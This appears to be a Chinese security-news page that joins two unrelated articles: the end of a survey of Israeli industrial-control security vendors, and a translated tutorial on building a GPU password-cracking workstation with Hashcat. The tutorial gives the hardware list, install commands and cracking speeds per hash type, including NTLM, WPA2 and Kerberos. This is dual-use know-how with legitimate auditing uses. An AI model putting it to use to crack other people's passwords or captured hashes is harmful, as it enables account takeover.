随着近年来全球关键基础设施领域的安全威胁加剧，世界各国对工控安全的重视程度逐渐提高。据Gartner在2016年6月发布的基础设施防护Hype
Cycle曲线中披露，全球工控安全从2012年市场的“期望膨胀高峰期”到现在的“幻灭期”并即将进化到“爬坡期”。而近年来以色列国内关键基础设施领域工控安全事件频发，也促使其国内的工控安全厂商不断推陈出新，在技术和商业模式上取得突破。
### **3.1 Waterfall**
**公司简介**
：专注于工控边界防护领域，主要产品是工控网闸，支持主流的工业协议和应用，是世界上该产品门类的典型代表。同时，其解决方案被监管和政府机构认为是最好的工控安全实践，大量地降低了政府和合规监管在关键基础设施等领域的成本和复杂性。
**主要应用领域** ：石油天然气、电力、交通运输、制造业、水利、制药业等
**主要工控安全产品** | **类型** | **功能简介** | **应用**
---|---|---|---
单向安全网关 | 工业网闸 |
替代工业网络环境中的防火墙，为控制系统和操作网络提供绝对保护，防止源自外部网络的攻击。该技术已经由爱达荷国家实验室验证，他的结论是“系统的物理学防止从低安全区域到高安全区域的任何数据传输。
| 解决方案保护通信免于工业网络流入发电厂，制造平台，交通信号和导航系统，水和废物管理工厂，化学和制药平台以及其他IT / OT连接中的工业控制网络。
逆向硬件实施的单向安全网关 | 工业网闸 |
受保护的OT网络内的独立控制机制触发FLIP硬件改变方向，允许信息根据需要流回到受保护的OT网络。Digital Bond
Labs评估了FLIP的安全级别，并得出结论：“FLIP始终是单向的，并且该方向不能被远程操纵的事实使得即使是高度熟练的攻击者也比防火墙更难以穿透 “
安全旁路 | |
当选择的安全程序在控制系统和工厂紧急情况下必须暂停时，安全旁路产品可以与单向网关并行部署。安全旁路产品永远不能通过任何，不论多复杂的网络攻击远程激活。
### **3.2 Indegy**
**公司简介：**
开发了一个网络安全平台，提供可视化操作和控制面板技术，确保运营安全，防止网络攻击、内部员工恶意操作、以及运营操作失误等情况发生。Indegy
监测器可以锁定工业控制系统内的所有获得，并且开发了一个控制层协议，支持实时监测各种工业控制配置变化。工业控制系统工程师和安全防护员工能够快速定位问题源，及时作出判断，防止问题恶化。
**主要工控安全产品** | **类型** | **功能简介**
---|---|---
系统控制层的可视化监控产品 | 平台解决方案 |
基于核心技术控制网络检查（CNI）和无代理控制器验证（ACV），可监控ICS网络，并为控制层活动提供独特且关键的可视性，识别控制器逻辑，配置，固件和状态的实时更改。作为成套网络设备交付，平台是无代理的，非侵入式的，无操作中断部署
### **3.3 Checkpoint**
**公司简介:** 作为全球首屈一指的Internet安全解决方案供应商，自1993年以来，Check
Point便致力于为客户提供无可比拟的防护，抵御各种类型的威胁，降低安全复杂性和总体拥有成本。在ICS/SCADA网络安全领域提供先进的威胁防御，加固设备选择和综合协议支持去保障关键基础设施。其下一代防火墙技术可提供全面可视化监控和精细化管理。
**主要应用领域** **:** 发电设施、交通，水处理等关键基础设施领域
**主要工控安全产品** | **类型** | **功能简介** | **应用**
---|---|---|---
1200R 加固设备 | 安全网关 |
提供SCADA流量的全面可视化和精细管理，具有SCADA感知威胁检测和预防的全面安全性，使用加固设备提供所有安全功能。 |
提供先进的威胁防御配合强化设备选项和全面的协议支持，以确保重要的资产，如发电设施，交通控制系统，水处理系统等。
### **3.4 Cyberbit**
**公司简介:**
以色列著名国防公司Elbit子公司，主要为情报机构和执法机构提供通信情报技术和检测（包括非入侵式网络协议和硬件诊断、深度报文分析）及网络攻击抑制和响应（包含安全事件管理、安全事件分析和态势感知、决策支持和解决方案推荐）。
**主要应用领域：** 电力公司、石油能源、交通等
**主要工控安全产品** | **类型** | **功能简介**
---|---|---
SCADA Shield综合网络安全产品 | ICS/SCADA安全和连续性解决方案 | 发现网络中的所有设备，识别OT /
OT接触点，并暴露客户不知道的配置问题。深度包检测了解系统行为，并在几秒钟内识别连续性和安全风险，因此可以在中断操作之前解决它们。低接触设置，自学习算法和自动规则创建使客户能够在几天内启动和运行，降低成本并最小化对基础架构的影响。符合行业法规，包括NERC
CIP，NIST 800-82和ISA / IEC 62443。
### **3.5 Nextnine**
**公司简介：** 是针对复杂多厂商ICS环境的自上而下OT安全管理解决方案的领先供应商。Nextnine的ICS
Shield是一个经现场验证的解决方案，用于从单个安全和操作中心保护多站点远程现场资产，从而使工业组织能够受益于集成的OT /
IT操作，同时将安全漏洞降至最低。 使用ICS Shield，工业运营商可自动部署和实施工厂级策略，从而提高安全治理和合规性，同时节省OT和IT资源。
Nextnine解决方案已由系统集成商（SI），托管安全服务提供商（MSSP）和全球数千家工厂的最大自动化供应商部署。
**主要应用领域** **：** 石油和天然气，公共事业，化工，矿业和制造行业
**主要工控安全产品** | **类型** | **功能简介** | **应用**
---|---|---|---
ICS Shield | OT安全管理解决方案 |
用于从单个安全和操作中心保护多站点远程现场资产，这一经过现场验证的解决方案可自动化部署和实施工厂级安全策略，同时专注于诸如资产可见性，修补，日志收集，事件报警和响应以及合规性报告等安全要素。同时将安全漏洞降至最低。
| 在石油和天然气，公共事业，化工，矿业和制造行业的全球数千个地点部署，为工厂运营提供无与伦比的可见性，可靠性和合规性。
### **3.6 RAD Group**
**公司简介：**
全球知名的电信接入的解决方案和产品供应商，客户遍布顶级服务提供商、电力公司、运输和政府。在工控领域中，其主要针对集成在网络交换机中的分布式SCADA感知防火墙。提供使用带有内置防火墙/
VPN的安全以太网交换机可靠地连接和保护SCADA设备免受“内部”攻击的解决方案。坚固的以太网交换机使用高度安全的防火墙监控应用程序流量，并阻止未经授权的和潜在的破坏性活动。
**主要应用领域:公共事业、石油天然气、水资源等**
**主要工控安全产品** | **功能简介** | **应用**
---|---|---
SecFlow-4
加固型模块化SCADA感知以太网交换机/路由器
|
一款高密度模块化系统，具备专门针对SCADA应用而设计的内置安全机制。融合了通常要求使用单独设备的功能，提供了高效的分布式安全层，可防止内部攻击。该设备可监控SCADA指令，利用深度分组检测来验证其是否符合特定功能的应用逻辑。这款加固型、模块化交换机/路由器是一个灵活的平台，兼具光纤和铜缆以太网端口，以及串行接口，可支持传统设备。
|
适用于要求分布式安全的公用事业机构企业和至关重要的基础设施机构，如智能电网运营商、智能交通系统运营商、自来水公司和煤气公司以及公共安全机构和国土安全机构等。
### **3.7 Radiflow**
**公司简介：** 世界领先的关键基础设施网络（SCADA）的网络安全解决方案提供商，是RAD
group的一家子公司。Radiflow的安全工具验证了M2M应用和H2M（人机对机器）会话在分布式操作网络中的行为。
Radiflow的安全解决方案既可用作远程站点的在线网关，也可作为非侵入式IDS（入侵检测系统），可在每个站点或集中部署。
**主要应用领域：** 电力、水处理、石油天然气、可再生能源、轨道交通、远程维护、制造业等 **主要工控安全产品** | **功能简介**
---|---
iSID工业网络安全和入侵检测 |
1）自动学习拓扑和操作行为；2）基于SCADA的DPI协议的网络流量分析；3）针对PLC中配置变更的监管；4）基于模型的异常检测分析；5）基于特征的已知脆弱性检测；6）非入侵式的网络操作；7）中央或分布式部署；8）假报警率低
3180安全加固路由器 | 一个坚固耐用，紧凑，安全的交换机/路由器，基本配置为2×100 / 1000 SFP和8×10 / 100 BaseT
PoE端口以及各种附加可选接口，包括8x100FX，8×10 / 100BaseT，4xRS-232和蜂窝调制解调器 。
1031安全加固网关 |
进一步增强了RADiFlow提供的耐用型交换机。新的1031安全公用网关设计用于小型远程站点，需要通过公共网络安全远程连接到有限数量的设备，因此可以补充RADiFlow的关键基础设施的加固，多用户/多网络交换机系列。
3700安全加固模块化路由器 |
一个加固，模块化和完全冗余的交换机/路由器，具有高达28xGE吞吐量和7个插槽用于网络模块。为应对网络攻击的日益增加的风险，3700支持IPSec
VPN隧道，并包括一个防火墙，用于SCADA协议的服务感知检查。RADiFlow
3700高级功能集成为部署安全以太网网络的关键公用设施基础设施应用程序（如子站自动化和智能交通）的理想平台。
### **3.8 Claroty**
**公司简介** **：** 是以色列著名的网络安全铸造厂Team8启动的一家公司（而Team8的创始人Nadav
Zafrir曾是以色列军事信号情报组织8200部队的指挥官），在2016年A轮融资后走出隐身模式。Claroty的主要业务是设计保护和优化运行世界上最关键的基础设施的OT网络。授权运行和保护工业系统的人员充分利用他们的OT网络，通过发现最细粒度的元素，提取关键数据并制定可执行的见解，Claroty提供了极高的可视性，并为OT网络带来无与伦比的清晰度。
**主要应用领域：** 石油天然气
**主要工控安全产品** | **功能简介**
---|---
极致的可视化跨ICS层协议平台 |
提供了每个站点的控制资产的清晰视图，并显示实时状态；学习表示每个资产的合法行为的连接、回话和命令的有限集，以及违反此基准的异常行为的警报，对正常但高风险变化提供实时监控，指示网络中存在不同的恶意状态和活动的资产行为；使用安全的深度包检测来持续监视OT网络，提供主动网络增强和事件响应和取证。
### **3.9 ICS 2**
**公司简介：** ICS2的含义是“智能工业控制系统的网络安全”，公司由一支IT 和 OT经验丰富的团队组成，开发了一种OnGuard
IDS设备，该设备通过机器学习和数据分析进行信息物理系统的入侵检测和提高工厂生产力。
**主要应用领域：水系统、石油天然气、石化和电力**
**主要工控安全产品** | **类型** | **功能简介** | **应用**
---|---|---|---
ICS2 On-Guard | 工业过程机器学习系统 | 工厂工业过程动态学习系统和异常检测系统 |
专为工业过程设计的系统，与其他系统相比，工业过程具有包含大量内置传感器，以及与所测量的传感器非常接近的反馈控制回路的特点。因此水系统，石油和天然气工厂，石油化工厂和发电厂都有这种特点。设计使用这种工厂的特定特征的网络安全系统给网络防御者提供了巨大的优势。
ICS2 Analyzer | 通过过程异常检测网络干预的离线产品 （基于P&ID来定位事件）
ICS²Active Guard | 检查系统完整性的保护系统
ICS² Protector | 遵循人类操作员与系统的交互，并学习正常的操作程序。 当发生与正常操作员行为的偏差时，ICS²保护报警。
ICS²Protector还可以检测个体操作员特有的行为模式。
### **3.10** **Assac Networks Overview**
**公司简介：**
开发，集成和销售SCADA，ISP和政府和商业组织在IT，电信和网络保护领域的网络取证和安全产品和解决方案。这些解决方案专门为满足政府和民间组织的安全需求而量身定制。公司成立于2011年，由Snapshield有限公司创始人兼首席执行官Shimon
Zigdon创立。
**主要工控安全产品** | **功能简介**
---|---
全功能SCADA网络保护解决方案 | 包含三个最佳组件：1）高级数据分析系统，提供彻底的深度数据包检查，并立即检测任何恶意活动 –
网络行为异常，策略违规，网络攻击等，2）一个独特的追溯机制，可以快速，准确地定位攻击源。3）集中管理系统（CMS），为网络管理员提供整个网络的准确，实时的态势感知图像。
### 3.11 G.Bina
**公司简介：**
成立于2006年，是一家精品咨询公司，提供高度专业的网络安全服务，ICT和SCADA风险评估。该公司将顶级咨询和咨询服务与由著名的网络安全专家Dr. Col
Gabi
Siboni领导的全面的“从上到下”流程相结合。公司领导者Gabi是商业运营风险管理领域的思想领袖，他的专业知识延伸到国家安全，军事战略和运营，军事技术，网络安全和战争以及军队建设。他是IDF（以色列国防军）的首席方法学家，背景包括技术培训，工程和信息系统博士。
Gabi的独特方法和分析过程是G. Bina的核心。
**主要工控安全产品** | **功能简介**
---|---
SCADA风险评估和管理解决方案 | 全面风险管理服务提供一套全面的解决方案，从规划和风险评估的早期阶段到实施和维护最有效的解决方案。
在每个阶段，评估SCADA运营和安全性的有效性。通过高效的方法，我们系统地评估组织的技术状况以应对当前和新出现的威胁，并设计相关的降低风险计划。
### 3.12 SCADAfence
**公司简介：** 提供了旨在确保工业（ICS /
SCADA）网络的操作连续性的尖端网络安全解决方案，专长是在采用工业物联网/工业4.0技术，如制药，化学，食品和饮料和汽车的智能制造行业。该公司的产品由OT网络安全专业人员以及世界知名的专家开发，包括以SCADAhacker
知名的Joel Langill。 SCADAfence位于以色列的Be’er Sheva网络安全卓越中心，并在全球网络安全投资领导者JVP的资助下。
**主要工控安全产品** | **功能简介**
---|---
OT网络被动解决方案 |
旨在减少操作风险的被动解决方案，例如停机时间，流程操纵和窃取敏感的专有信息。该公司提供全面的解决方案套件，包括对工业环境的连续实时监控以及旨在自动化安全评估过程的轻量级工具。解决方案提供日常操作的可视性，网络攻击的检测和旨在提高响应能力的取证工具。
### 3.13 Thetaray
**公司简介：** 大数据分析平台和解决方案的领先提供商，为高级网络安全，运营效率和风险检测提供解决方案，保护金融服务部门和关键基础设施免受未知威胁。
ThetaRay的核心技术基于最先进的算法，其专有的超维度和多域大数据分析平台。对于操作依赖于高度异构和复杂环境的组织使用ThetaRay的无与伦比的检测和低误报率作为一个看得见的力量，使他们能够统一检测和击败未知。
**主要工控安全产品** | **功能简介** | **应用**
---|---|---
Thetaray 分析平台 | 该解决方案提供了未知操作威胁的端到端检测，轻松集成到现有客户系统，如客户数据源，历史数据，控制和管理系统。
主要功能包括数据处理和存储，异常检测，警报生成/分发和事件调查。
特点：1）未知操作威胁检测；2）不受监控，实时分析；3）工业级精度；4）快速部署；5）大数据分析
| 受监控的ICS / SCADA关键网络包括发电厂，发电，输配电网络，石油和天然气设施以及关键制造场所等。
对于每个环境，该解决方案分析几乎任何类型的可用机器数据，如涡轮机，泵，PLC，IDU，飞机发动机等。
## 4\. 以色列工控安全行业的启示
通过对以色列网络安全产业总体态势的研究，并深入调查以色列工控安全产业发展的背景，以及对以色列的主要工控安全厂商的调研分析，以色列作为网络安全强国在产业发展上有如下几点值得我国思考和借鉴。
首先，以色列在地缘政治上的独特性是形成该国自上至下强烈忧患意识的重要原因。正是这种来自网上网下的危机让以色列在网络安全领域发展中呈现几个鲜明的特色。一是国家战略支持，政府极端重视科技的研发和人才的培养，不断加大在网络安全领域的投入；二是以色列人信奉实践，注重创新，强调以结果为导向，在网络安全领域更是如此，只要产品能够奏效，不论是来自大学中的学生，还是部队中的退伍军人，都会选择自主创业，解决实际问题，快速研发并推向市场；三是以色列的资本市场在网络安全领域的活跃度高，据以色列网络安全领域最活跃的风投基金之一的耶路撒冷风投基金JVP报告显示，自2011年起，230多家本土或外国机构对165家以色列网络技术初创企业进行了投资。而另外一家以色列著名的风投机构BVP也是工控安全厂商Claroty和SCADAfense的投资人。因此，不难看出以色列网络行业、投资商和政府之间的紧密联系是以色列快速成为世界网络安全科技中心的重要原因。
其次，以色列网络安全行业，尤其是工控安全领域的厂商，更加注重运营服务类的产品和平台，通过模型分析和诊断，来帮助用户提升安全意识，产品一般是依托于专家式的服务体系和标准进行推广。以色列大名鼎鼎的经济和工业部的首席科学家办公室（OCS）一直以来致力于鼓励技术创新和创业，对以色列的网络安全行业，尤其是工控安全厂商中具有强大影响力的解决方案提供支持并借此向全球市场推广，工控安全厂商ThetaRay就是其中的受益者之一。
最后，由于自然资源短缺和地域的限制，以色列在工控安全领域的产品类厂商发展空间有局限性。因此，以色列的产品型工控安全厂商在发展过程中，会选择在国外成立分支机构，或与其他国家的工控厂商进行合作。例如Radiflow就与中国电子科技集团公司所属上海三零卫士信息安全有限公司进行技术合作，开发针对工控网络安全应用环境的网络安全产品。
* * * | 社区文章 |
# 【技术分享】手把手教你搭建一台GPU密码破解工作站
|
##### 译文声明
本文是翻译文章，文章来源：netmux.com
原文地址：<http://www.netmux.com/blog/how-to-build-a-password-cracking-rig>
译文仅供参考，具体内容表达以及含义原文为准。
****
**为什么要搭建密码破解工作站**
为什么要搭建这样一台密码破解工作站？因为这是一件非常有成就感的事情。在这篇文章中，我将一步一步的向大家介绍如何用最少的预算搭建一台密码破解工作站，满足中小企业的业务需求，也算是一个非常中肯的解决方案。在搭建工作站的过程中，我遇到的最大的困难时在Ubuntu系统下正确安装Nvidia驱动程序，但是请各位读者不要担心，我已经将在安装Nvidia驱动的过程中遇到的问题详细记录了下来，在本文下部体现出来。如果你想根据本文介绍的技术搭建一台个人工作站，你只需要准备好5000美元的预算就够了，并且运算速度不亚于Sagitta's
Brutalis（<https://sagitta.pw/hardware/gpu-compute-nodes/brutalis/>）。需要的硬件设备、软件安装包都会在下文列出。
这个工作站将具备强大地运算速度，但是请不要过于震惊。它的组成部分可以让你以一个合理的价格，在任何地方非常容易的搭建一个塔式服务器。完整详尽的说明将在《hash
crack》第二版中介绍，但是现在你可以在Amazon上购买第一版（<http://a.co/0XFiGcQ>）。
**搭建此工作站的预算**
如何计算搭建这个密码破解工作站的预算呢？这个预算价格5000美元的工作站主要面向人群为中小型企业、密码破解爱好者。我知道这个价格可能超出了很多爱好者的承受范围，但是你阅读完本教程后仍然会有很多收获。我想创建一个性能较好的工作站，可以破解常见的哈希类型，并且如果我们有一个完善的密码计划，我们可以在一个星期内完成常见的破解任务。
**部分硬件设备** **价格清单**
1 x SuperMicro SYS-7048GR-TR 4U Server with X10DRG-Q 主板 = $1,989.99 (NewEgg)
2 x Intel Xeon E5-2620 v3 2.4 GHz LGA 2011-3 85W = $469.98 (Ebay)
4 x Nvidia GTX 1070 Founders Edition = $1,737.14 (Jet.com)
2 x Samsung 850 Pro 512GB SATA3 SSD = $412.24 (Jet.com)
4 x Kingston Server ValueRAM DDR4 2133MHz 16GB = $391.96 (NewEgg)
总计 = $5001.31（包括快递的运费、手续费等）
**
**
**硬件设备的安装**
让我们看一下Supermicro 7048GR-TR主板的插槽数量及机箱内的空间。有充足的位置插入内存条、多个热插拔驱动器托架、双CPU、4个GPU同时还包括6个风扇和2个为CPU准备的额外的散热风扇。
此外，我们还需要一个带有VGA接口的外部显示器来完成操作系统及其它所需软件的安装配置。
首先第一步需要更换驱动器托盘（drive caddy
trays）以适应上述列表中的SSD硬盘（我没有将这个驱动器托盘的价格算在总的预算中，因为如果你不介意它的加载速度慢一些的话，我们完全可以使用传统的硬件驱动，事实上这个驱动器的价格在Amazon上仅售11美元<http://a.co/d8Jo9H8>），组装完成后，将它们划入前面的驱动器托架中。
接下来我们将安装Intel Xeon CPU（我这里使用的是Xeon E5 2620 v3系列的CPU，因为当我在选购的时候刚好Ebay上有一些折扣）
双CPU安装完成
接下来，我们将要安装4个16GB的内存条，因为一旦我们在CPU上安装了散热器的话，由于机箱内空间有限，再安装内存条将会变得非常困难。
现在我们必须换掉包括的散热器支架，以适应这块主板。幸运的是，散热器、底座和风扇都包含在Supermicro 7048GR-TR包装盒中。还要注意的是，散热器已经均匀涂覆硅脂。
将它们拧紧到位，但不要太紧，以防弄坏了电路板。
现在我们需要安装散热风扇，这也包括在Supermicro 7048GR-TR的包装盒中。
将风扇插入每个CPU插槽旁边的插口，但请确保在插入电源之前按照下图所示将导线缠绕在风扇周围。
现在让我们把目光聚焦在重要的事情上，我们需要移除横跨4个PCI-E 3.0插槽的背板。否则的话就没有安装4个GTX 1070 GPU的位置。
现在开始安装第一个GPU并确认是否合适，一旦PCI-E插槽上的锁定器锁定到位，用螺丝将GPU固定，并从机箱中将背板拆除。
然后安装剩下的3个GPU，还要将导线插入到GPU上(确认你的工作正确无误的话就把它们绑在一起)，你会发现有两组导线相对较长，因此将它们连接到相对较远的GPU上。
硬件设备安装完成。插上电源，设备将正常启动（不要过于惊讶^_^）。
**
**
**安装软件**
我花费了几天的时间编写和完善了这份软件安装文档。因为我已经记录了在安装过程中遇到的全部困难和解决办法，你可以非常顺利的执行每一步操作。如果你遵循这份文档，你可以很轻松的搭建基于Intel
OpenCL CPU和Nvidia GTX 10 系列GPU的密码破解工作站。
我知道有的读者此时会产生一些疑问为啥我使用的是Ubuntu桌面版而不是Ubuntu服务器版，因为我打算在不需要密码破解的时候将这台服务器用作其他用途，因此安装桌面版还是很有必要的。所需要软件的下载链接都会在下面列出，在本文中我不会告诉你如何使用U盘做Ubuntu系统，因为这超出了本文的范围，
关于如何使用U盘做Ubuntu系统，你可以点击这里了解（<https://help.ubuntu.com/community/Installation/FromUSBStick>）。
同样，这些操作步骤只适用于具有Intel OpenCLCPU和Nvidia GTX 10系列GPU的机器上。
**
**
**需要的软件**
-Ubuntu 14.0.4.5 Desktop amd64（<http://releases.ubuntu.com/14.04/>）
-Intel OpenCL Runtime 16.1 x64 Ubuntu Driver
(<http://registrationcenter-download.intel.com/akdlm/irc_nas/9019/opencl_runtime_16.1_x64_ubuntu_5.2.0.10002.tgz>)
-Nvidia Linux x86_64 375.20 Driver
（<http://www.nvidia.com/download/driverResults.aspx/111596/en-us>）
-Hashcat v3.20（<https://hashcat.net/hashcat/>）
**
**
**安装步骤**
**1)安装Ubuntu 14.0.4.5**
确保在BIOS中启用从USB启动安装Ubuntu镜像。 完成后按以下步骤操作：
1.设置为在引导时不自动登录
2.确保你的工作站可以通过网线或WiFi访问到互联网
3.从终端安装执行下列命令安装更新：
sudo apt-get update
sudo apt-get upgrade -y
**2)安装Intel OpenCL驱动**
1.从终端安装依赖项
sudo apt-get install lsb-core -y
sudo apt-get install opencl-headers -y
2.将Intel OpenCL驱动程序
（<http://registrationcenter-download.intel.com/akdlm/irc_nas/9019/opencl_runtime_16.1_x64_ubuntu_5.2.0.10002.tgz>）下载到“Downloads”目录中
3.下载Nvidia Linux x86_64 375.30驱动程序
（<http://www.nvidia.com/download/driverResults.aspx/111596/en-us>）到“Downloads”目录
在终端中执行如下命令：
cd Downloads
tar -xvzf opencl_runtime_16.1_x64_ubuntu_5.2.0.10002.tgz
cd opencl_runtime_16.1_x64_ubuntu_5.2.0.10002 /
sudo bash install.sh
Accept Terms of Agreement and install（接受协议条款并安装）
3)安装Hashcat v3.20
1 sudo apt-get install git -y
2 cd ~/Desktop
3 git clone https://github.com/hashcat/hashcat.git
4 cd hashcat/
5 git submodule update --init --recursive
6 sudo make
7 sudo make install
8 reboot server
4)安装Nvidia Linux x86_64 375.20驱动
1.重启机器，并且不要登录
2.在登录界面按Ctrl + Alt + F1键，在命令提示符下输入账号密码登录
3.创建/etc/modprobe.d/blacklist-nouveau.conf文件
cd /etc/modprobe.d/
sudo touch blacklist-nouveau.conf
sudo vi blacklist-nouveau.conf
在该文件中输入如下内容
blacklist nouveau
options nouveau modeset=0
4.sudo update-initramfs -u
5.重启系统
sudo reboot
6.重启后不要登录
7.在登录界面按Ctrl + Alt + F1键在命令提示符下输入账号密码登录
8.跳转到"Downloads"目录下你会看到文件VIDIA-Linux-x86_64-375.20.run
执行命令为该文件赋予可执行权限
chmod a+x .
9.sudo service lightdm stop
10.sudo bash NVIDIA-Linux-x86_64-375.20.run –no-opengl-files
注意：–no-opengl-files参数非常重要，一定不要忘了添加
11.安装驱动
-Accept License（接受协议）
-Select Continue Installation（选择继续安装）
-Select “NO” to not install 32bit files（选择NO不要安装32位文件）
-Select “NO” to rebuilding any Xserver configurations with Nvidia.（选择“NO”，使用Nvidia重建任何Xserver配置。）
12.sudo modprobe nvidia
13.sudo service lightdm start
14.Ctrl + Alt + F7
在图形界面下登录，完成，可以使用HASHCAT破解密码了
**其它参考 &温度**
820瓦=峰值使用观察**风扇不要达到100%并且不能超频
83c =测试在100％负载下8小时的温度
〜127GH / s NTLM =破解速度：每秒1270亿
~26 GH/s SHA1 = 破解速度：每秒260亿
~31 MH/s md5加密 = 破解速度：每秒310亿
我知道你看到这个图片后会非常的震惊，谁会认为GPU在运行的时候会这么热，但是看到冷却的清晰分离是非常有趣的。高端Nvidia系列GPU像1080采用气室冷却技术控制散热。
**总结**
不得不说，我为这个设备和它未来的潜力感到自豪，在选择的硬件和复合成本之间总是存在权衡，但是我认为我已经在建立这个工作站的过程中获得了很多的成就感。坚如磐石的表现，我的劳动成果就在那里摆着，显而易见，不需要其它人过多的评价，就可以获得技术上的满足。随着硬件价格的不断下降，密码破解技术的不断发展，现有的技术将会过时，但是不要担心，我将不断更新这篇文章，以适应最新的硬件&密码破解技术，所以可以在Twitter上联系我@netmux，或者订阅这个博客。
如果你想要一个全面的参考手册，可以参考这本书。《HASH CRACK》（<http://a.co/fu45rMW>）
**
**
**HASHCAT破解哈希速度参考手册**
HASHCAT v3.2
OpenCL Platform #1: Intel(R) Corporation
========================================
* Device #1: Intel(R) Xeon(R) CPU E5-2620 v3 @ 2.40GHz, skipped
OpenCL Platform #2: NVIDIA Corporation
======================================
* Device #2: GeForce GTX 1070, 2036/8145 MB allocatable, 15MCU
* Device #3: GeForce GTX 1070, 2036/8145 MB allocatable, 15MCU
* Device #4: GeForce GTX 1070, 2036/8145 MB allocatable, 15MCU
* Device #5: GeForce GTX 1070, 2036/8145 MB allocatable, 15MCU
Hashtype: MD4
Speed.Dev.#*.....: 137.9 GH/s
Hashtype: MD5
Speed.Dev.#*.....: 76526.9 MH/s
Hashtype: Half MD5
Speed.Dev.#*.....: 46527.5 MH/s
Hashtype: SHA1
Speed.Dev.#*.....: 25963.3 MH/s
Hashtype: SHA256
Speed.Dev.#*.....: 9392.1 MH/s
Hashtype: SHA384
Speed.Dev.#*.....: 3169.4 MH/s
Hashtype: SHA512
Speed.Dev.#*.....: 3235.0 MH/s
Hashtype: SHA-3(Keccak)
Speed.Dev.#*.....: 2500.4 MH/s
Hashtype: SipHash
Speed.Dev.#*.....: 86713.2 MH/s
Hashtype: RipeMD160
Speed.Dev.#*.....: 14689.1 MH/s
Hashtype: Whirlpool
Speed.Dev.#*.....: 780.4 MH/s
Hashtype: GOST R 34.11-94
Speed.Dev.#*.....: 740.2 MH/s
Hashtype: GOST R 34.11-2012 (Streebog) 256-bit
Speed.Dev.#*.....: 153.7 MH/s
Hashtype: GOST R 34.11-2012 (Streebog) 512-bit
Speed.Dev.#*.....: 153.9 MH/s
Hashtype: DES (PT = $salt, key = $pass)
Speed.Dev.#*.....: 56140.1 MH/s
Hashtype: 3DES (PT = $salt, key = $pass)
Speed.Dev.#*.....: 1737.5 MH/s
Hashtype: phpass, MD5(WordPress), MD5(phpBB3), MD5(Joomla)
Speed.Dev.#*.....: 20491.9 kH/s
Hashtype: scrypt
Speed.Dev.#*.....: 1872.4 kH/s
Hashtype: PBKDF2-HMAC-MD5
Speed.Dev.#*.....: 22181.7 kH/s
Hashtype: PBKDF2-HMAC-SHA1
Speed.Dev.#*.....: 9692.5 kH/s
Hashtype: PBKDF2-HMAC-SHA256
Speed.Dev.#*.....: 3582.7 kH/s
Hashtype: PBKDF2-HMAC-SHA512
Speed.Dev.#*.....: 1303.1 kH/s
Hashtype: Skype
Speed.Dev.#*.....: 38566.4 MH/s
Hashtype: WPA/WPA2
Speed.Dev.#*.....: 1190.5 kH/s
Hashtype: IKE-PSK MD5
Speed.Dev.#*.....: 5276.2 MH/s
Hashtype: IKE-PSK SHA1
Speed.Dev.#*.....: 2339.9 MH/s
Hashtype: NetNTLMv1-VANILLA / NetNTLMv1+ESS
Speed.Dev.#*.....: 67492.1 MH/s
Hashtype: NetNTLMv2
Speed.Dev.#*.....: 4943.9 MH/s
Hashtype: IPMI2 RAKP HMAC-SHA1
Speed.Dev.#*.....: 4982.4 MH/s
Hashtype: Kerberos 5 AS-REQ Pre-Auth etype 23
Speed.Dev.#*.....: 887.1 MH/s
Hashtype: Kerberos 5 TGS-REP etype 23
Speed.Dev.#*.....: 879.8 MH/s
Hashtype: DNSSEC (NSEC3)
Speed.Dev.#*.....: 10034.7 MH/s
Hashtype: PostgreSQL Challenge-Response Authentication (MD5)
Speed.Dev.#*.....: 19820.9 MH/s
Hashtype: MySQL Challenge-Response Authentication (SHA1)
Speed.Dev.#*.....: 6877.8 MH/s
Hashtype: SIP digest authentication (MD5)
Speed.Dev.#*.....: 6100.2 MH/s
Hashtype: SMF > v1.1
Speed.Dev.#*.....: 20392.8 MH/s
Hashtype: vBulletin < v3.8.5
Speed.Dev.#*.....: 20195.7 MH/s
Hashtype: vBulletin > v3.8.5
Speed.Dev.#*.....: 14241.8 MH/s
Hashtype: IPB2+, MyBB1.2+
Speed.Dev.#*.....: 14878.4 MH/s
Hashtype: WBB3, Woltlab Burning Board 3
Speed.Dev.#*.....: 3802.6 MH/s
Hashtype: OpenCart
Speed.Dev.#*.....: 6078.5 MH/s
Hashtype: Joomla < 2.5.18
Speed.Dev.#*.....: 75182.7 MH/s
Hashtype: PHPS
Speed.Dev.#*.....: 20610.0 MH/s
Hashtype: Drupal7
Speed.Dev.#*.....: 167.2 kH/s
Hashtype: osCommerce, xt:Commerce
Speed.Dev.#*.....: 38238.3 MH/s
Hashtype: PrestaShop
Speed.Dev.#*.....: 24166.2 MH/s
Hashtype: Django (SHA-1)
Speed.Dev.#*.....: 20395.9 MH/s
Hashtype: Django (PBKDF2-SHA256)
Speed.Dev.#*.....: 178.3 kH/s
Hashtype: Mediawiki B type
Speed.Dev.#*.....: 19359.7 MH/s
Hashtype: Redmine Project Management Web App
Speed.Dev.#*.....: 6212.0 MH/s
Hashtype: PostgreSQL
Speed.Dev.#*.....: 75109.6 MH/s
Hashtype: MSSQL(2000)
Speed.Dev.#*.....: 25596.7 MH/s
Hashtype: MSSQL(2005)
Speed.Dev.#*.....: 25581.7 MH/s
Hashtype: MSSQL(2012)
Speed.Dev.#*.....: 3066.1 MH/s
Hashtype: MySQL323
Speed.Dev.#*.....: 158.2 GH/s
Hashtype: MySQL4.1/MySQL5
Speed.Dev.#*.....: 11261.0 MH/s
Hashtype: Oracle H: Type (Oracle 7+)
Speed.Dev.#*.....: 2908.6 MH/s
Hashtype: Oracle S: Type (Oracle 11+)
Speed.Dev.#*.....: 25383.8 MH/s
Hashtype: Oracle T: Type (Oracle 12+)
Speed.Dev.#*.....: 316.9 kH/s
Hashtype: Sybase ASE
Speed.Dev.#*.....: 1160.3 MH/s
Hashtype: EPiServer 6.x < v4
Speed.Dev.#*.....: 20411.9 MH/s
Hashtype: EPiServer 6.x > v4
Speed.Dev.#*.....: 8381.3 MH/s
Hashtype: md5apr1, MD5(APR), Apache MD5
Speed.Dev.#*.....: 30443.1 kH/s
Hashtype: ColdFusion 10+
Speed.Dev.#*.....: 5144.0 MH/s
Hashtype: hMailServer
Speed.Dev.#*.....: 8359.2 MH/s
Hashtype: SHA-1(Base64), nsldap, Netscape LDAP SHA
Speed.Dev.#*.....: 25531.9 MH/s
Hashtype: SSHA-1(Base64), nsldaps, Netscape LDAP SSHA
Speed.Dev.#*.....: 25530.0 MH/s
Hashtype: SSHA-512(Base64), LDAP {SSHA512}
Speed.Dev.#*.....: 3186.0 MH/s
Hashtype: LM
Speed.Dev.#*.....: 55244.2 MH/s
